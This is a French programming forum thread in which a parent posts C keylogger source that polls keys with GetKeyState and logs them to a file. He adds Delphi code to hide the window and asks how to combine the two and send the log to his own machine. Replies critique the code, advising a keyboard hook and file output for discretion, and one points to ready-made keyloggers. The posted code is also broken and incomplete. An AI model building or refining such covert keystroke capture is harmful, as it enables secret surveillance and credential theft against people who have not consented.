rebelattack
Messages postés11Date d'inscriptionmardi 18 mars 2008StatutMembreDernière intervention10 novembre 2009
-
19 mars 2008 à 13:33
SAKingdom
Messages postés3212Date d'inscriptionlundi 7 novembre 2005StatutMembreDernière intervention16 février 2009
-
20 mars 2008 à 18:40
Bonjour, je souhaiterais surveillé les activité de mon fils sur le net, pour cela j'ai pensé a un keylogger. J'ai récupperé un code C sur votre site :
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
int isalt(); //savoir si alt est pressé
int ismajpressed(); //savoir si shift est pressé
int isamaj(); //savoir si on est en état de majuscule ( prenant en compte caps Lock et shift )
void TraiterLettre(int lettre);
int majuscule; //savoir si le clavier est en mode caps lock
FILE *sortie;
char fichier[256];
int main(int argc, char *argv[])
{
int i, lettre, result, lastresult, lastletter, compteur;
while ( i==0 ) { //boucle sans fin
lettre=13;
for ( lettre==13 ; lettre<256 ; lettre++ ) { //test de toutes les lettres
//passer les caractères inutiles
if ( lettre==14 ) lettre=20;
if ( lettre==21 ) lettre=32;
if ( lettre==33 ) lettre=48;
if ( lettre==58 ) lettre=65;
if ( lettre==91 ) lettre=96;
if ( lettre==108 ) lettre=109;
if ( lettre==112 ) lettre=186;
if ( lettre==189 ) lettre=190;
if ( lettre==193 ) lettre=219;
if ( lettre==220 ) lettre=221;
if ( lettre==222 ) lettre=223;
result=GetKeyState(lettre);
//Pour la touche caps lock, le 20, il y a un traitement particulier pour voir le mode du clavier
if ( ( lettre==20 ) && ( result==0 ) ) majuscule=0;
if ( ( lettre==20 ) && ( result==1 ) ) majuscule=1;
if ( ( result!=0 ) && ( result!=1 ) && (lettre!=lastletter) )
{
TraiterLettre(lettre); //je ne sais plus trop mais ça marche
lastresult=result;
lastletter=lettre;
lettre=13; sleep(50);
}
} //fin de test des lettres
sleep(1);
} //fin de la boucle sans fin
void TraiterLettre(int lettre) {
char towrite; //la lettre que l'on va écrire dans la console
static int compteur = 0;
//traitement des chiffres ( un décalage )
if ( ( lettre<106 ) && ( lettre>95 ) ) towrite=lettre-48;
//Les lettres sont envoyées comme majuscules, il faut faire un décalage
else if ( ( lettre<91 ) && ( lettre>64 ) && ( !ismaj() ) ) towrite=lettre+32;
//Sinon on écrit telle quelle la lettre
else if ( ( lettre<91 ) && ( lettre>64 ) ) towrite=lettre;
else switch ( lettre ) {
case 32 : if ( isalt() ) towrite=' ';
else towrite=' ';
break;
case 48 : if ( isalt() ) [mailto:towrite='@' towrite='@'];
else towrite='à';
break;
case 49 : towrite='&';
break;
case 50 : towrite='é';
break;
case 51 : if ( isalt() ) towrite='#';
else towrite='"';
break;
case 52 : if ( isalt() ) towrite='{';
else towrite=39; // '
break;
case 53 : if ( isalt() ) towrite='[';
else towrite='(';
break;
case 54 : if ( isalt() ) towrite='|';
else towrite='-';
break;
case 55 : towrite='è';
break;
case 56 : if ( isalt() ) towrite='\\';
else towrite='_';
break;
case 57 : towrite='ç';
break;
case 219 : if ( isalt() ) towrite=']';
else towrite=')';
break;
case 187 : if ( isalt() ) towrite='}';
else towrite='=';
break;
case 186 : towrite='$';
break;
case 192 : towrite='%';
break;
case 188 : if ( ismaj() ) towrite='?';
else towrite=',';
break;
case 190 : if ( ismaj() ) towrite='.';
else towrite=';';
break;
case 191 : if ( ismaj() ) towrite='/';
else towrite=':';
break;
case 223 : towrite='!';
break;
case 111 : towrite='/';
break;
case 106 : towrite='*';
break;
case 109 : towrite='-';
break;
case 107 : towrite='+';
break;
case 110 : towrite='.';
break;
}
// On affiche les lettres. exception : la touche entrée
if ( lettre==13 ) fprintf(sortie,"\n");
else fprintf(sortie,"%c",towrite);
compteur++;
if ( compteur==2 ) {
fclose(sortie);
fopen(fichier,"a");
compteur=0;
}
}
Je l'ai compiler avec Dev C++, et je l'ai lancé, il fonctionne très bien mais le seule problème c'est que la fenetre est apparente. Donc j'ai cherché un autre code pour masquer l'appli le voici (trouver sur ce site également ):
begin
Application.Initialize;
// Code a Rajouter
Application.ShowMainForm := false; {:= true pour la montrer}
// Fin du code a rajouter
Application.Title := 'Mon Application';
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
Le problème c'est que je ne sais pas comment faire pour assembler les deux codes. Et comment puis je récupérer le fichier texte pour l'envoyer sur mon ordinnateur ?
Merci de vos réponse.
cali70
Messages postés71Date d'inscriptionmercredi 29 septembre 2004StatutMembreDernière intervention19 mars 2008 19 mars 2008 à 14:10
begin
Application.Initialize;
// Code a Rajouter
Application.ShowMainForm := false; {:= true pour la montrer}
// Fin du code a rajouter
Application.Title := 'Mon Application';
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
C'est du Delphi ca... et ton KeyLogger c'est du C! Ces deux codes ne sont pas compatibles, de plus il te faudrait un IDE Borland pour le compiler. Cherche un autre code car tu ne pouras pas les assembler.
DeAtHCrAsH
Messages postés2670Date d'inscriptionvendredi 25 janvier 2002StatutMembreDernière intervention 6 février 2013 19 mars 2008 à 15:49
Salut,
Plutot que de te casser les pieds pourquoi ne télécharge tu pas un logiciel de controle parental genre FreeAngel.
Pour ce qui est du keylogger il y en a plein sur ce site pret à etre compilé.
SAKingdom
Messages postés3212Date d'inscriptionlundi 7 novembre 2005StatutMembreDernière intervention16 février 200915 19 mars 2008 à 15:52
for ( lettre==13 ; lettre<256 ; lettre++ )
Incorrect. La première section d'un for initialise la variable. Elle ne la compare pas.
if ( lettre==14 ) lettre=20;
if ( lettre==21 ) lettre=32;
if ( lettre==33 ) lettre=48;
if ( lettre==58 ) lettre=65;
if ( lettre==91 ) lettre=96;
if ( lettre==108 ) lettre=109;
if ( lettre==112 ) lettre=186;
if ( lettre==189 ) lettre=190;
if ( lettre==193 ) lettre=219;
if ( lettre==220 ) lettre=221;
if ( lettre==222 ) lettre=223;
À remplacer par switch case. S'avèrera beaucoup plus performant dans ce cas ci.
Ensuite, je me trompe peut-être, mais il me semble que pour faire un keylogger, il faut au minimum hooker le clavier. Je ne vois aucun hook dans ton code.
Finalement, tu utilises des fonctions de la console un peut partout dans ton code. Pas très discret ça. Ok pour cacher la console mais tu ne récupèrera jamais les informations interceptées par le programme. Il faudrait tout écrire dans un fichier.
rebelattack
Messages postés11Date d'inscriptionmardi 18 mars 2008StatutMembreDernière intervention10 novembre 2009 20 mars 2008 à 15:44
Alors c'est quoi le code finale ? Pour répondre a votre question pourquoi je nb'installe pas un controle parental ? parce que soit je m'aperçois qu'il le désinstalle soit il crake le mot de passe.